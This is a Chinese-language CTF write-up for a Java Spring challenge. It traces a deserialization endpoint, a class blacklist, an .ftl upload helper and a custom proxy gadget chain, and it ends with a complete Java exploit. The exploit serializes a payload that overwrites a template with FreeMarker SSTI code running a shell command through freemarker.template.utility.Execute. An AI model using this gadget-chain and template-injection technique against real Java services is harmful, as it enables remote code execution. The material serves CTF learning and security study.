因为我是windows所以就修改了配置文件
1
| template-loader-path: file:
|
再把HtmlUploadUtil类里面的修改一下就行了
1
| String realPath = "D:\\templates\\" + filename;
|
分析
首先看路由,找利用点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public class IndexController { @RequestMapping({"/"}) @ResponseBody public String index() { return "Welcome to YCB"; }
@RequestMapping({"/templating"}) public String templating(@RequestParam String name, Model model) { model.addAttribute("name", name); return "index"; }
@RequestMapping({"/getflag"}) @ResponseBody public String getflag(@RequestParam String data) throws IOException, ClassNotFoundException { byte[] decode = Base64.getDecoder().decode(data); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); byteArrayOutputStream.write(decode); NewObjectInputStream objectInputStream = new NewObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); objectInputStream.readObject(); return "Success"; } }
|
发现在templating路由中,规划了模板文件的,在getflag中触发了反序列化,
先看模板文件index.ftl
1 2 3 4 5 6 7 8 9 10 11
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Hello</title> </head> <body> 你是谁? 我是${name} </body> </html>
|
发现这里直接把name值丢过去了,这里能触发xss,但是没什么用,
继续看getflag中反序列化中跟进NewObjectInputStream
1 2 3 4 5 6 7 8 9 10 11 12
| public NewObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); }
@Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (BLACKLISTED_CLASSES.contains(desc.getName())) { throw new SecurityException("Class not allowed: " + desc.getName()); } return super.resolveClass(desc); } }
|
发现过滤了这些类
1 2 3 4 5
| BLACKLISTED_CLASSES.add("java.lang.Runtime"); BLACKLISTED_CLASSES.add("java.lang.ProcessBuilder"); BLACKLISTED_CLASSES.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); BLACKLISTED_CLASSES.add("java.security.SignedObject"); BLACKLISTED_CLASSES.add("com.sun.jndi.ldap.LdapAttribute");
|
又是1.8的依赖应禁用2次反序列了,只有看他自己的类了发现
看名字首先想着是可以利用的点看名字发现有个upload在HtmlUploadUtil类中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public static boolean uploadfile(String filename, String content) { if (filename != null && !filename.endsWith(".ftl")) { return false; } String realPath = "D:\\templates\\" + filename; if (realPath.contains("../") || realPath.contains("..\\")) { return false; } try { BufferedWriter writer = new BufferedWriter(new FileWriter(realPath)); writer.write(content); writer.close(); return true; } catch (IOException e) { System.err.println("Error uploading file: " + e.getMessage()); return false; } }
|
发现只运行上传文件后缀为.ftl而且不能保含有.//或者..\\的文件在外面的模板文件里面,想起之前的那个路由只返回了index所以要利用的话只有上upload了
跟进哪能能调用这个方法发现在类Htmlmap中get方法中
1 2 3 4 5 6 7 8
| public Object get(Object key) { try { Object obj = Boolean.valueOf(HtmlUploadUtil.uploadfile(this.filename, this.content)); return obj; } catch (Exception e) { throw new RuntimeException(e); } }
|
而这里this.filename, this.content
没有构造方法,我们可以反射修改上去
然后看哪里能调用get方,get方法回顾一下之前cc链 c1链AnnotationInvocationHandler.invoke会调用,还有 c7链的hashmap(AbstractMap)的equals,c6 链TiedMapEntry.getValue,
想到AnnotationInvocationHandler.invoke而且这里
也有类似的类HtmlInvocationHandler 继承了InvocationHandler,想到动态代理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class HtmlInvocationHandler implements InvocationHandler, Serializable { public Map obj;
public HtmlInvocationHandler() { }
public HtmlInvocationHandler(Map obj) { this.obj = obj; }
@Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Object result = this.obj.get(method.getName()); return result; }
|
怎么触发这个invoke就是关键了
c3链的管网wp是BadAttributeValueExpException的tostring
但是我用的是hashcode
再分析一次在hashcode反序列化后会调用readobject的putVal(hash(key), key, value, false, false);
继续跟进hash发现会调用key.hashCode()这样就能触发invoke了
然后就是怎么返回读文件了freemarker模版注入 - Escape-w - 博客园 (cnblogs.com)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import com.ycbjava.Utils.HtmlInvocationHandler; import com.ycbjava.Utils.HtmlMap;
import java.io.*; import java.lang.reflect.*; import java.net.URLEncoder; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class c { public static void main(String[] args) throws Exception { HtmlMap map = new HtmlMap(); setFieldValue(map,"content","<!DOCTYPE html>\n" + "<html lang=\"en\">\n" + "<head>\n" + " <meta charset=\"UTF-8\">\n" + " <title>Hello</title>\n" + "</head>\n" + "<body>\n" + "你是谁?\n" + "我是${name}\n" + "<h3><#assign ac=springMacroRequestContext.webApplicationContext>\n" + " <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" + " <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" + " <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}</h3>\n" + "</body>\n" + "</html>"); setFieldValue(map,"filename","index.ftl"); InvocationHandler map_handler = new HtmlInvocationHandler(map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
HashMap hashMap=new HashMap (); hashMap.put("1","1"); Class nodeC = Class.forName("java.util.HashMap$Node"); Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tab = Array.newInstance(nodeC, 1); Array.set(tab, 0, nodeCons.newInstance(0, proxy_map, "baicany", null)); setFieldValue(hashMap, "table", tab); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashMap); System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));
} public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|